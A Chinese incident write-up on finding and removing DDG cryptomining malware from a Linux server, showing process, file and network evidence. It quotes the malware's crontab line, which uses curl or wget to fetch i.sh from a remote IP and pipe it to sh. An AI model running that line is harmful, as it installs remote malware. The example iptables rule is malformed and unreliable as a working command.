__




矿机特点:
  
  1. 操作系统反应慢。
  2. wio 非常高,一般轻松达到50%,甚至达到100%。
  3. 在/root/ 下存在 .ddg 隐藏路径。路径中有nnnn.db 二进制文件。
  4. /tmp 、/usr/libexec 、/usr/bin 等一个或者多个路径中存在 新增可执行文件,如果存在多个,则名称上来看,无实际意义。文件大小几乎相同 ,通过diff命令,可执行文件无区别。
  5. 存在连接至国外的网络。
  6. 使用root 登录,并为root用户添加定时任务。一般为每15分钟连接外网下载名为 “i.sh”的文件并执行。
预防方法:
  1. 网络:禁止外网访问,严格控制进出端口。
  2. 服务器:禁止root直接远程登录,禁止Ping 服务器
  3. 软件:软件不使用默认端口,很多黑客是通过软件的默认端口和漏洞进行攻击的。
    

下面是本次处理的过程。主要采用处理的方法是添加网络防火墙,禁止访问某个IP段 。下面是分析过程


主机CPU消耗过高

红框标注的内容,都是可疑进程。从名字上来看,是两类:vTtHH* 和ldrlfa* 。 先来看vTtHH* 这一类。

进程8907的父进程是1, 一般这种情况是由守护进程发起的。可是 守护进程没找到 。因为守护进程的名字有可能是经过伪装的。

而该文件存放于/tmp/路径中:

红框中的文件,是随机生成的文件,文件名不一定有规律,但是文件大小相近,内容相同:

这些文件都是编译过的二进制文件。是C/C++可执行文件。

没有进程在使用这些文件。

继续查看下ldrlfa* 这类命令。

可以看到分别于4月30日与5月11日,启动了两个命令:ldrlfa2 /ldrlfa3.这些命令存放于/usr/bin/.

发现这类文件会重复生成,生成的时间并没有什么规律 。

定时任务

*/15 * * * * (/usr/bin/ldrlfa3||/usr/libexec/ldrlfa3||/usr/local/bin/ldrlfa3||/tmp/ldrlfa3||curl -m180 -fsSL http://104.128.230.16:8000/i.sh||wget -q -T180 -O- http://104.128.230.16:8000/i.sh) | sh

每15分钟,执行一次,调用/usr/bin, /usr/libexec, /usr/local/bin /tmp 路径下去查找

Ldrlfa3 命令, 并从104.128.230.16:8000 下载i.sh 文件并执行。

追踪进程

[root@~ tmp]# lsof -p 16265

COMMAND   PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME

ldrlfa2 16265 root  cwd       DIR     253,0    49152 805306441 /usr/bin

ldrlfa2 16265 root  rtd       DIR     253,0      275        64 /

ldrlfa2 16265 root  txt       REG     253,0  4446828 8262721626 /usr/bin/ldrlfa2

ldrlfa2 16265 root  mem-W     REG     253,0    32768 825678047 /root/.ddg/4002.db

ldrlfa2 16265 root    0r      CHR       1,3      0t0      4787 /dev/null

ldrlfa2 16265 root    1w      CHR       1,3      0t0      4787 /dev/null

ldrlfa2 16265 root    2w      CHR       1,3      0t0      4787 /dev/null

ldrlfa2 16265 root    3r      CHR       1,9      0t0      4792 /dev/urandom

ldrlfa2 16265 root    4u  a_inode       0,9        0      4783 [eventpoll]

ldrlfa2 16265 root    5uW     REG     253,0    32768 825678047 /root/.ddg/4002.db

ldrlfa2 16265 root    6u     IPv6 231916470      0t0       TCP *:7946 (LISTEN)

ldrlfa2 16265 root    7u     IPv6 231916471      0t0       UDP *:7946

ldrlfa2 16265 root    8u     IPv4 260937900      0t0       TCP ~:19290->211.151.7.198:7946 (SYN_SENT)

ldrlfa2 16265 root    9r  a_inode       0,9        0      4783 inotify

ldrlfa2 16265 root   10u  a_inode       0,9        0      4783 [eventpoll]

ldrlfa2 16265 root   11r     FIFO       0,8      0t0 216218160 pipe

ldrlfa2 16265 root   12w     FIFO       0,8      0t0 216218160 pipe

ldrlfa2 16265 root   13u  a_inode       0,9        0      4783 [eventpoll]

ldrlfa2 16265 root   14r     FIFO       0,8      0t0 231916473 pipe

ldrlfa2 16265 root   15w     FIFO       0,8      0t0 231916473 pipe

[root@pmo02 tmp]# cd /root/.ddg/

[root@pmo02 .ddg]# ls

4000.db  4001.db  4002.db  4003.db

[root@~ .ddg]# ls -lrt

总用量 96

-rw------- 1 root root 32768 4月  30 15:26 4001.db

-rw------- 1 root root 32768 5月   4 19:48 4000.db

-rw------- 1 root root 32768 5月  16 17:25 4003.db

-rw------- 1 root root 32768 5月  16 17:29 4002.db

[root@~ .ddg]# cat 4001.db

ZCmd.Processed@<84\#\,\stBucket

;P_+R d(+˺z<?f0+qkwj"yHQGf0HqЎfзKo/

|H|˕bf*+8a+{w<1iky/&Df.k

z/!lAfHQh_O_qЎf_kw;Pv*4!G/

w;8ڀ}2Et5>sz֎<pyѵk

GrCfS

U7~
vux9w'!

R

从追踪进程来看,挖矿进程,会将本机的 19290端口转发至211.151.7.198:7946端口.

在/root 路径下自动创建了隐藏文件夹.ddg/ ,该路径下存放着 几个 nnnn.db ,而该文件是二进制文件。看不懂。 直接将.ddg 删除。

网络分析

检查当前主机上的网络连接,发现部分异常IP和端口(挖矿进程是需要与外网进行通信的)。从主机上查看:

94.130.49.186    --> 乌克兰

95.216.74.37      --> 乌克兰

182.92.12.11      --> 北京大兴,阿里云

5.79.108.34        --> 荷兰

104.128.230.16  --> 美国

从最终处理结果来看,这是一个正确的方向。

处理方法

将以上发现的定时任务、可执行文件内容全部删除 。

同时防火墙拒绝以上5个地址的全IP段,同时拒绝下载i.sh 文件的IP网络。

添加防火墙策略示例如下:

Iptables –I INPUT 94.0.0.0/8 –j DROP 

添加完成后,需要执行service iptables save 将策略保存


服务器被攻击后当作矿机,高WIO的更多相关文章

  1. 服务器LIUNX之如何解决矿机问题

    点进来的基本都是遇到liunx变矿机的小伙伴吧(cpu运载300%) 卡的连终端都很难打开 开下来之后提示 大意是, 到xxx网站给钱了事, 不过基本这个网站基本也上不去, 要么是暴力破解, 要么是通 ...

  2. 这两周服务器被攻击,封锁了600多个IP地址段后今天服务器安静多了

    这两周服务器被攻击,封锁了600多个IP地址段后今天服务器安静多了 建议大家在自己的服务器上也封杀这些瘪三的地址 iptables -I INPUT -s 123.44.55.0/24 -j DROP ...

  3. [转]记一次linux(被)入侵,服务器变矿机~

    0x00 背景 周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了.不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对 ...

  4. 为什么我说IPFS社区从卖矿机开始,就是错的

    要回答这个问题,首先要了解去中心化存储项目和传统的区块链项目有什么区别.其中去中心化存储项目包括IPFS,基于IPFS的FileCoin.PPIO.Storj等. 传统区块链项目没有供需问题 首先以比 ...

  5. PHPWAMP自启异常,服务器重启后Apache等服务不会自动重启的原因分析

    在使用“PHPWAMP自动任务”时,不少学生遇到如下问题: “phpwamp绿色集成环境重启动电脑(服务器)后,不会自动启动网站服务” (如果是其他环境或是自己搭建时遇到此问题,也是可以用此法解决) ...

  6. XAMPP服务器在局域网只能本机访问且无法用IP访问的解决办法 (转)

    XAMPP服务器在局域网只能本机访问且无法用IP访问的解决办法 前几天安装了xampp for pc 1.7.4版本. 装好后在本地电脑通过https://localhost访问正常. 然后换了台电脑 ...

  7. 模拟n个人参加选举的过程,并输出选举结果:假设候选人有四人,分别用A,B,C,D表示,当选某候选人时,直接输入其编号(编号由计算机随机产生,若输入的不是A,B,C,D则视为无效票,选举结束后按得票数从高到底输出候选人编号和所得票数.

    模拟n个人参加选举的过程,并输出选举结果:假设候选人有四人,分别用A,B,C,D表示,当选某候选人时,直接输入其编号(编号由计算机随机产生,若输入的不是A,B,C,D则视为无效票,选举结束后按得票数从 ...

  8. Linux服务器重启后eureka报错

    在Linux服务器重启后,首次启动应用时查看eureka注册中心,报错 EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP W ...

  9. 服务器重启后如何开启由docker部署的redmine

    1. 服务器重启后,需要重新开启docker服务 systemctl start docker 2. 查看全部container,包括exited的容器,找出redmine所对应的NAMES标签名称 ...

随机推荐

  1. 正确的安装和使用nvm(mac)<转>

    前言 目前主流的node版本管理工具有两种,nvm和n.两者差异挺大的,具体分析可以参考一下淘宝FED团队的一篇文章: 管理 node 版本,选择 nvm 还是 n? 总的来说,nvm有点类似于 Py ...

  2. pat (B)_1002

    1002 写出这个数 (20 分) 读入一个正整数 n,计算其各位数字之和,用汉语拼音写出和的每一位数字. 输入格式: 每个测试输入包含 1 个测试用例,即给出自然数 n 的值.这里保证 n 小于 1 ...

  3. 【异常】Reason: Executor heartbeat timed out after 140927 ms

    1 详细异常 ERROR scheduler.JobScheduler: Error running job streaming job ms. org.apache.spark.SparkExcep ...

  4. Rasa学习记录 01

    目录 Rasa的安装和简单的测试 什么是Rasa: 安装Rasa: 测试自带的数据 查看项目里的文件内容 举一反三(自己的第一个机器人) Rasa的安装和简单的测试 怪雨是新手,刚刚接触Rasa,以下 ...

  5. lxml:底层C语言实现、高效地处理html

    介绍 lxml也是一个用于筛选指定html内容的模块,pyquery就是基于lxml. 使用lxml主要需要了解xpath xpath语法 /:在子节点里面找 //:在子子孙孙节点里面找 //div: ...

  6. c++ 用模板类实现顺序储存的线性表

    首先要注意的一点是模板类在VS中编译时如果将定义和声明分开会出现无法解析的问题,所以一般比较常见的解决的办法是将声明和定义放在同一个头文件中然后统一的调用,下面就是用模板类实现线性表的编写 #prag ...

  7. 自学Python-基于tcp协议的socket

    自学Python之路-Python基础+模块+面向对象自学Python之路-Python网络编程自学Python之路-Python并发编程+数据库+前端自学Python之路-django 自学Pyth ...

  8. 清除zencart分类页多页后面的&disp_order &sort字符串的方法

    在includes\classes\split_page_results.php页面中的function display_links()函数第一行添加如下两行代码即可$parameters=preg_ ...

  9. 如何查看fullGC 次数

    如何查看fullGC 次数 如何较少fullGC 如何保证几周才发生一次fullGC

  10. Druid连接池错误(数据库版本问题)

    前提 jdbc驱动: mysql-connector-java.8.0.13.jar durid依赖包:durid-1.0.9.jar mysql版本: mysql 8.0 1 错误 1.1 错误一 ...